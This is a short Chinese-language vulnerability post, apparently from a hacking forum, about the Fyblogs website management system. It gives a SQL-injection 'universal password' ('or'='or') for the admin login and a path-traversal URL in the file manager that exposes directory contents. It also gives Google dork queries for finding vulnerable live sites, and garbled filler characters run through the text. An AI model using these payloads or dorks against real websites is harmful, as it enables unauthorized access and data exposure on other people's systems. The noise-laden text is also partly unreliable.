Fyblogs网站管理系统漏洞

admin

后台万能密码 'or'='or'
% M1 K. V7 ?/ ~, T
& U9 _6 e0 N  e9 O% `) g后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
2 n/ |/ t  t3 Q* ^2 \admin/uploadfile.asp?currentFolder=/upfiles/../

9 V- |) k# U* I9 n) M  p漏洞证明：
' h5 k( k* ]; }
谷歌：inurl:type.asp?id=1 新闻中心
2 l% U5 N/ s( [% s% Y- @或者 ：inurl:download_ok.asp?

* v. Y1 u- K8 e- M, b* _